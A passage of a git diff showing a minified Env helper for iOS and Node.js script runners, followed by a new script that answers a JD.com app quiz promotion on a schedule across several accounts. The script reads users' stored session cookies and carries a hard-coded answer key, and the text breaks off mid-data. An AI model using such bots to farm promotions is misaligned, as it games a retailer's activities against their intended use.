t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_immortal_answer.js b/activity/jd_immortal_answer.js new file mode 100644 index 0000000..667f47e --- /dev/null +++ b/activity/jd_immortal_answer.js @@ -0,0 +1,476 @@ +/* +京东神仙书院答题 +根据bing搜索结果答题,常识题可对,商品题不能保证胜率 +活动时间:2021-1-27至2021-2-5 +活动入口: 京东APP我的-神仙书院 +活动地址:https://h5.m.jd.com//babelDiy//Zeus//4XjemYYyPScjmGyjej78M6nsjZvj//index.html?babelChannel=ttt9 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京东神仙书院答题 +20 * * * * jd_immortal_answer.js, tag=京东神仙书院答题, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "20 * * * *" script-path=jd_immortal_answer.js,tag=京东神仙书院答题 + +===============Surge================= +京东神仙书院答题 = type=cron,cronexp="20 * * * *",wake-system=1,timeout=3600,script-path=jd_immortal_answer.js + +============小火箭========= +京东神仙书院答题 = type=cron,script-path=jd_immortal_answer.js, cronexpr="20 * * * *", timeout=3600, enable=true + */ +const $ = new Env('京东神仙书院答题'); + +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + // await requireTk() + $.tk = [{"questionId":"1901441674","questionIndex":"1","questionStem":"永乐宫位于山西哪个城市?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpCIXLkJ_WAKDLFdSw-A\",\"optionDesc\":\"运城市\"},{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpChYv-iBINKeZnfm57Q\",\"optionDesc\":\"大同市\"},{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpC0PrO6mXfvErnsQZkw\",\"optionDesc\":\"太原市\"}]","questionToken":"Ks0Sx0BXjjgbNFAjGUwyXaBp4FnRWXz9HV3vlG-r0AbqW0JofD5caaNEQRrh9w29L7dXXyJ1x5jxRzvj8WP7hQBiWb6eYw","correct":"{\"optionId\":\"Ks0Sx0BXjjgbNFBxCgQpCIXLkJ_WAKDLFdSw-A\",\"optionDesc\":\"运城市\"}","create_time":"27/1/2021 04:49:08","update_time":"27/1/2021 04:49:08","status":"1"},{"questionId":"1901441675","questionIndex":"2","questionStem":"永乐宫在什么时期进行了全面搬迁?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpCqVtOiEGdgT2rlgu\",\"optionDesc\":\"21世纪初\"},{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpCJXg5g8cZbd_NrUF\",\"optionDesc\":\"20世纪五六十年代\"},{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpC_dVlhsF1hkxDSRo\",\"optionDesc\":\"20世纪八九十年代\"}]","questionToken":"Ks0Sx0BXjjgbNVAgGUwyXWU5Z3N8SsLmAmlHnWPk8mu4qpLQ5BonaiQ48lq5_oPoCmxj6PygaxpHZfAQ8m0UnMkPoxHQpg","correct":"{\"optionId\":\"Ks0Sx0BXjjgbNVBxCgQpCJXg5g8cZbd_NrUF\",\"optionDesc\":\"20世纪五六十年代\"}","create_time":"27/1/2021 04:37:24","update_time":"27/1/2021 04:37:24","status":"1"},{"questionId":"1901441676","questionIndex":"1","questionStem":"永乐宫建筑群建造于哪个时期?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpCija4QWLFHMVZNeuuQ\",\"optionDesc\":\"明清时期\"},{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpC-sybUji1HS_1mIxOg\",\"optionDesc\":\"隋唐时期\"},{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpCERO6zuvt0b_lDV85g\",\"optionDesc\":\"宋元时期\"}]","questionToken":"Ks0Sx0BXjjgbNlAjGUwyXf6zlVwlZm9N0cMd1yq3R26R0FElCAVxswWUF7k6UqOKDARHvkc8js_CnGq7m9rw9Je3Ye7uwg","correct":"{\"optionId\":\"Ks0Sx0BXjjgbNlBxCgQpCERO6zuvt0b_lDV85g\",\"optionDesc\":\"宋元时期\"}","create_time":"27/1/2021 04:42:38","update_time":"27/1/2021 04:42:38","status":"1"},{"questionId":"1901441677","questionIndex":"2","questionStem":"永乐宫屋顶正脊两侧的怪兽叫?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpCLdI9W7sOrVFbyo2_w\",\"optionDesc\":\"鸱吻\"},{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpC8bJ8XseaV3o3WvQZw\",\"optionDesc\":\"赑屃\"},{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpCiTLo1O3Fskj9ysIVw\",\"optionDesc\":\"狮子\"}]","questionToken":"Ks0Sx0BXjjgbN1AgGUwyWtwFYOBcQhTDcAYij64yM9ULBJ-9xlCSyjOp-oPdSbAyrvbKYUBNbWNYjjmKIgNgO_yoJjPedg","correct":"{\"optionId\":\"Ks0Sx0BXjjgbN1BxCgQpCLdI9W7sOrVFbyo2_w\",\"optionDesc\":\"鸱吻\"}","create_time":"27/1/2021 04:35:45","update_time":"27/1/2021 04:35:45","status":"1"},{"questionId":"1901441678","questionIndex":"2","questionStem":"永乐宫鸱吻的原料是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpCLIiGL-i9xgxxciXKA\",\"optionDesc\":\"琉璃\"},{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpChqA80NEftULPnc5pQ\",\"optionDesc\":\"木雕\"},{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpCxZRsqUCnaaa1McPtg\",\"optionDesc\":\"金银\"}]","questionToken":"Ks0Sx0BXjjgbOFAgGUwyXaz-RSO4SdlUVwxRDJLcmSKPyxL2yVbqPuCvt5zrMdBYxvzzKQq5firE3VKN-dZIAgFMWXPBhA","correct":"{\"optionId\":\"Ks0Sx0BXjjgbOFBxCgQpCLIiGL-i9xgxxciXKA\",\"optionDesc\":\"琉璃\"}","create_time":"27/1/2021 04:47:23","update_time":"27/1/2021 04:47:23","status":"1"},{"questionId":"1901441679","questionIndex":"4","questionStem":"永乐宫建筑的布局是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpC8_r_0V5j_2iit4\",\"optionDesc\":\"三点布局\"},{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpCAtpkpOXFIsGw_Y\",\"optionDesc\":\"中轴线布局\"},{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpCnZ3QHwZxxvqbvU\",\"optionDesc\":\"对角线布局\"}]","questionToken":"Ks0Sx0BXjjgbOVAmGUwyWsIJPvpXj3gmQ0NPuTKUw1XdjYI4-a5pl-7g5NfIGYSC54-XuwqBqBzyo4gBnd4MPW08Pslijw","correct":"{\"optionId\":\"Ks0Sx0BXjjgbOVBxCgQpCAtpkpOXFIsGw_Y\",\"optionDesc\":\"中轴线布局\"}","create_time":"27/1/2021 04:36:17","update_time":"27/1/2021 04:36:17","status":"1"},{"questionId":"1901441680","questionIndex":"3","questionStem":"永乐宫是哪个宗教的建筑?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCI4ZdGOr_c5yUIGz\",\"optionDesc\":\"道教\"},{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCz5VlteegUfypA7G\",\"optionDesc\":\"伊斯兰教\"},{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCv1lnZxzG3Oo4vZQ\",\"optionDesc\":\"佛教\"}]","questionToken":"Ks0Sx0BXjjgUMFAhGUwyWpJF8tGtTyAO5wkdd-Zp9U1w9Jqp-uGaaEF3xWVhpwFeB9X71PBuyyLHdGb7g5QRTF6zHWrtPA","correct":"{\"optionId\":\"Ks0Sx0BXjjgUMFBxCgQpCI4ZdGOr_c5yUIGz\",\"optionDesc\":\"道教\"}","create_time":"27/1/2021 04:32:33","update_time":"27/1/2021 04:32:33","status":"1"},{"questionId":"1901441681","questionIndex":"1","questionStem":"永乐宫建筑群的主体材料是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpClAVHXDlx4iFjSPCEA\",\"optionDesc\":\"汉白玉\"},{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpCHi92SbiZ_U5NcgBLQ\",\"optionDesc\":\"木材\"},{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpC5aA9Mgq7qOWWmoGhw\",\"optionDesc\":\"砖石\"}]","questionToken":"Ks0Sx0BXjjgUMVAjGUwyXawYWL1UOIN8ssGn41zVx3hluW-X3pOIBdpbrzjitD5PIk3JLx7ZZIcjbZt2tp25xcD8iCB08w","correct":"{\"optionId\":\"Ks0Sx0BXjjgUMVBxCgQpCHi92SbiZ_U5NcgBLQ\",\"optionDesc\":\"木材\"}","create_time":"27/1/2021 04:35:24","update_time":"27/1/2021 04:35:24","status":"1"},{"questionId":"1901441682","questionIndex":"1","questionStem":"传说中鸱吻这种神兽的作用是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCtQOT7Ynym3JenwCHg\",\"optionDesc\":\"驱邪降魔\"},{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCyXafCr2GQfX5EWkIA\",\"optionDesc\":\"祈求财富\"},{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCJCV-cfmdq-QbnYXMg\",\"optionDesc\":\"避免火灾\"}]","questionToken":"Ks0Sx0BXjjgUMlAjGUwyWkpGFycyA6X5Ne-gvXVHBiitX-9-0EoSwLz6Um379nm-O0pCejfo8Q8dweZInVBRxJN0_n128A","correct":"{\"optionId\":\"Ks0Sx0BXjjgUMlBxCgQpCJCV-cfmdq-QbnYXMg\",\"optionDesc\":\"避免火灾\"}","create_time":"27/1/2021 04:49:32","update_time":"27/1/2021 04:49:32","status":"1"},{"questionId":"1901441683","questionIndex":"5","questionStem":"永乐宫之所以被称作“宫”的原因是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpC5PXQ_FU1uT-F7ug\",\"optionDesc\":\"它曾是王爷的王府\"},{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpCsW1fCbEDNld89Dz\",\"optionDesc\":\"它曾是古代皇帝的行宫\"},{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpCDvrJSzFZ6zPwf9x\",\"optionDesc\":\"它是道教宫观\"}]","questionToken":"Ks0Sx0BXjjgUM1AnGUwyWhP15Oinw63LiAS_tKn3NvgNkLXqoBY2Z9fen4mTnJlrbPqQDJ6eCE-XmAgRCOOFf93N2Awntg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUM1BxCgQpCDvrJSzFZ6zPwf9x\",\"optionDesc\":\"它是道教宫观\"}","create_time":"27/1/2021 04:41:42","update_time":"27/1/2021 04:41:42","status":"1"},{"questionId":"1901441684","questionIndex":"4","questionStem":"古代木构建筑,柱头上用于支撑屋顶的是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpCFCw5AV_jyrR5Wmslg\",\"optionDesc\":\"斗拱\"},{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpC55a8SIabsqTCfxTzw\",\"optionDesc\":\"椽\"},{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpCjr63fj7bbSxsnrqwg\",\"optionDesc\":\"藻井\"}]","questionToken":"Ks0Sx0BXjjgUNFAmGUwyXaPbN9OVIJKBsaNJdAO6l78DcVq9h0-t4xQT8aZB11TvDxyRkrKiBKtLHT1aZwQ6wY8cby-BGg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUNFBxCgQpCFCw5AV_jyrR5Wmslg\",\"optionDesc\":\"斗拱\"}","create_time":"27/1/2021 04:36:42","update_time":"27/1/2021 04:36:42","status":"1"},{"questionId":"1901441685","questionIndex":"4","questionStem":"龙虎殿在永乐宫建筑群中原本的作用是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpC92ngKLgeY74q3Bf\",\"optionDesc\":\"主殿\"},{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpCMGl3vSwkiQn4Dkr\",\"optionDesc\":\"宫门\"},{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpCos9W0y6Lt8hAEfl\",\"optionDesc\":\"厨房\"}]","questionToken":"Ks0Sx0BXjjgUNVAmGUwyXSHjT4x5_6ZnXZVreHN12NE-fNfyF5D1paixW-6xlwFNirQlgSEasjwZMlZJNCzjEVoBcNLhvQ","correct":"{\"optionId\":\"Ks0Sx0BXjjgUNVBxCgQpCMGl3vSwkiQn4Dkr\",\"optionDesc\":\"宫门\"}","create_time":"27/1/2021 04:51:49","update_time":"27/1/2021 04:51:49","status":"1"},{"questionId":"1901441686","questionIndex":"1","questionStem":"永乐宫中,体积最大、规格最高的建筑是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpCKm_3kssuhNgRf4v\",\"optionDesc\":\"三清殿\"},{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpChYDkQGDGcBVLDSs\",\"optionDesc\":\"龙虎殿\"},{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpCyrEThF-MLRSMvcT\",\"optionDesc\":\"纯阳殿\"}]","questionToken":"Ks0Sx0BXjjgUNlAjGUwyXbsTxOqIEDJpD9S5F8jLsF9QME4eORP3ggmZL0d5050fhRc4Kl-9WrGM3kTBa6fL_fN3lWnJsw","correct":"{\"optionId\":\"Ks0Sx0BXjjgUNlBxCgQpCKm_3kssuhNgRf4v\",\"optionDesc\":\"三清殿\"}","create_time":"27/1/2021 04:48:19","update_time":"27/1/2021 04:48:19","status":"1"},{"questionId":"1901441687","questionIndex":"5","questionStem":"三清殿为了扩大空间,用的什么建造方法?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpCo67V4IahCuUkzxH\",\"optionDesc\":\"移柱造\"},{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpCB9PGapzVSxFJt6z\",\"optionDesc\":\"减柱造\"},{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpC_lvivPh3eq-b_G0\",\"optionDesc\":\"增柱造\"}]","questionToken":"Ks0Sx0BXjjgUN1AnGUwyXZ9d3yh3z5_p6Ify_GTATyJx3H7Qm_gwiqbEnCoXsz8XY7a9Eb8jJCdvnJLRonE76nRSIQbhqg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUN1BxCgQpCB9PGapzVSxFJt6z\",\"optionDesc\":\"减柱造\"}","create_time":"27/1/2021 04:41:47","update_time":"27/1/2021 04:41:47","status":"1"},{"questionId":"1901441688","questionIndex":"3","questionStem":"建筑结构“藻井”位于建筑的什么位置?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpCkKRH5okhVEFYcPb\",\"optionDesc\":\"室内底部\"},{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpCEO44t3eXweU7TIE\",\"optionDesc\":\"室内顶部\"},{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpC5ajI6TUyh3n-HJU\",\"optionDesc\":\"室外顶部\"}]","questionToken":"Ks0Sx0BXjjgUOFAhGUwyWrUpYigmUBfN9MPhFu_H-yb8LQkx_v5b3V_ucIEnHHcn3GpvNAhJtnV6CFriw-KUAckvPRMZxg","correct":"{\"optionId\":\"Ks0Sx0BXjjgUOFBxCgQpCEO44t3eXweU7TIE\",\"optionDesc\":\"室内顶部\"}","create_time":"27/1/2021 04:37:36","update_time":"27/1/2021 04:37:36","status":"1"},{"questionId":"1901441689","questionIndex":"2","questionStem":"龙虎殿中原本侍奉的神像是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpC40R7oirSHDkDK8cWw\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpCj4Kp_T2MZoxVgqq4Q\",\"optionDesc\":\"四大天王\"},{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpCFR5Cy2zO1xrvWj5-Q\",\"optionDesc\":\"青龙白虎\"}]","questionToken":"Ks0Sx0BXjjgUOVAgGUwyXQQsVXA1i3sJpvMrfjH6nnVHfgwXOuzHPoVBgbdweUFqJygSziWLuDv8rbeHzAdG3VfeYoTfqQ","correct":"{\"optionId\":\"Ks0Sx0BXjjgUOVBxCgQpCFR5Cy2zO1xrvWj5-Q\",\"optionDesc\":\"青龙白虎\"}","create_time":"27/1/2021 04:43:14","update_time":"27/1/2021 04:43:14","status":"1"},{"questionId":"1901441690","questionIndex":"4","questionStem":"龙虎殿中的壁画内容不包括?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpCFt6wNOO4WvdSY8I\",\"optionDesc\":\"哼哈二将\"},{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpCtIP27bjXR6Xwiyn\",\"optionDesc\":\"天兵天将\"},{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpC-cMUHyTpGgtDGhN\",\"optionDesc\":\"城隍土地\"}]","questionToken":"Ks0Sx0BXjjgVMFAmGUwyXcnM6lBhN3Sz9KQ6jhhGQTz2cVpbvLjYP-sNjmI6xO6ZlONAmdgVWkKoa7NKYM151Yh8IARYTg","correct":"{\"optionId\":\"Ks0Sx0BXjjgVMFBxCgQpCFt6wNOO4WvdSY8I\",\"optionDesc\":\"哼哈二将\"}","create_time":"27/1/2021 04:41:50","update_time":"27/1/2021 04:41:50","status":"1"},{"questionId":"1901441691","questionIndex":"5","questionStem":"木构建筑最害怕什么样的灾害?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpCEp8ApiXUjSO4EpeNw\",\"optionDesc\":\"火灾\"},{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpC4VQzDQEy-B4-AIPeQ\",\"optionDesc\":\"风灾\"},{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpCudlIaP1KccYjUAVoQ\",\"optionDesc\":\"水灾\"}]","questionToken":"Ks0Sx0BXjjgVMVAnGUwyXcJClSF2f46OS1mEysy-O2GF3lF4ObdY2mVFRpz5C_GVo4MaRr4u1GtBxWi3Rj7WBCaurLoWmw","correct":"{\"optionId\":\"Ks0Sx0BXjjgVMVBxCgQpCEp8ApiXUjSO4EpeNw\",\"optionDesc\":\"火灾\"}","create_time":"27/1/2021 04:41:26","update_time":"27/1/2021 04:41:26","status":"1"},{"questionId":"1901441692","questionIndex":"3","questionStem":"中国大部分元代木构建筑位于哪个省?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpCr6vxyu7JMzxAH0z\",\"optionDesc\":\"河南\"},{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpCEzq_w29Tqd3Xfh8\",\"optionDesc\":\"山西\"},{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpC_kIxEww4FOmTQSb\",\"optionDesc\":\"陕西\"}]","questionToken":"Ks0Sx0BXjjgVMlAhGUwyWlIm4Kgwnsm0vtupY_5EHnIsD7JScLPcHbNjjy7fBou30qYUvuHmxHzMA_JITVUW1BHUrQfytQ","correct":"{\"optionId\":\"Ks0Sx0BXjjgVMlBxCgQpCEzq_w29Tqd3Xfh8\",\"optionDesc\":\"山西\"}","create_time":"27/1/2021 04:49:51","update_time":"27/1/2021 04:49:51","status":"1"},{"questionId":"1901441693","questionIndex":"1","questionStem":"中国古代木构建筑屋顶的怪兽雕塑被统称为?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCsNJStIdVl6bkg\",\"optionDesc\":\"走兽\"},{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCKUEXB45Jxhtyw\",\"optionDesc\":\"脊兽\"},{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCwu45oKBqC9JHQ\",\"optionDesc\":\"叫兽\"}]","questionToken":"Ks0Sx0BXjjgVM1AjGUwyXQ16mON0qeXIz0j6M6nyPsWd9NZVu427sLiH01d2naJyb-UyQaRTyVlezGak7Bu3IIYaPKzR5A","correct":"{\"optionId\":\"Ks0Sx0BXjjgVM1BxCgQpCKUEXB45Jxhtyw\",\"optionDesc\":\"脊兽\"}","create_time":"27/1/2021 04:48:50","update_time":"27/1/2021 04:48:50","status":"1"},{"questionId":"1901441694","questionIndex":"1","questionStem":"永乐宫三清殿屋顶琉璃瓦的主要颜色不包括?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpC0LNI8vPkLdOfMbK\",\"optionDesc\":\"黄色\"},{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpCjL0JzrQiY64g5-0\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpCHj_A7eZQrWeq69J\",\"optionDesc\":\"红色\"}]","questionToken":"Ks0Sx0BXjjgVNFAjGUwyXVKOvtJI_RYuidTWwxYRtZxS4RNdasLuntjuD4Qkp1VrZGTdwCPzQAuHWc2FM0SKmiIaNXcwug","correct":"{\"optionId\":\"Ks0Sx0BXjjgVNFBxCgQpCHj_A7eZQrWeq69J\",\"optionDesc\":\"红色\"}","create_time":"27/1/2021 04:37:38","update_time":"27/1/2021 04:37:38","status":"1"},{"questionId":"1901441695","questionIndex":"4","questionStem":"永乐宫中的“永乐”二字的来源是?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpCg5NBh5BF2GXAC8\",\"optionDesc\":\"创建者名字\"},{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpC2KxrlkHFMjNfHM\",\"optionDesc\":\"年号名\"},{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpCGjUFDlvVNF9loY\",\"optionDesc\":\"当地地名\"}]","questionToken":"Ks0Sx0BXjjgVNVAmGUwyXegTx7Zd1Ytj9yP6T2FjXThcHc9jOuNW9fXAlBpKgkBmG0O3sw8xIm17goGpr6lez6Qn2rUUoA","correct":"{\"optionId\":\"Ks0Sx0BXjjgVNVBxCgQpCGjUFDlvVNF9loY\",\"optionDesc\":\"当地地名\"}","create_time":"27/1/2021 04:49:11","update_time":"27/1/2021 04:49:11","status":"1"},{"questionId":"1901441696","questionIndex":"2","questionStem":"永乐宫三清殿内的影壁不包括以下哪个功能?","options":"[{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpC152Awa2dH94e7t2\",\"optionDesc\":\"支撑屋顶\"},{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpCHqNGH8ZTC8a5owD\",\"optionDesc\":\"隔断生活空间\"},{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpClGZ-jPnnM8hJU_5\",\"optionDesc\":\"背衬三清像\"}]","questionToken":"Ks0Sx0BXjjgVNlAgGUwyWo8588OAsfDhyzwOYwbRho6AuU3wfZMpe6rHXKqUTMq4zpbLk-smQputBytcqUaB_HCzLOZiHw","correct":"{\"optionId\":\"Ks0Sx0BXjjgVNlBxCgQpCHqNGH8ZTC8a5owD\",\"optionDesc\":\"隔断生活空间\"}","create_time":"27/1/2021 04:48:49","update_time":"27/1/2021 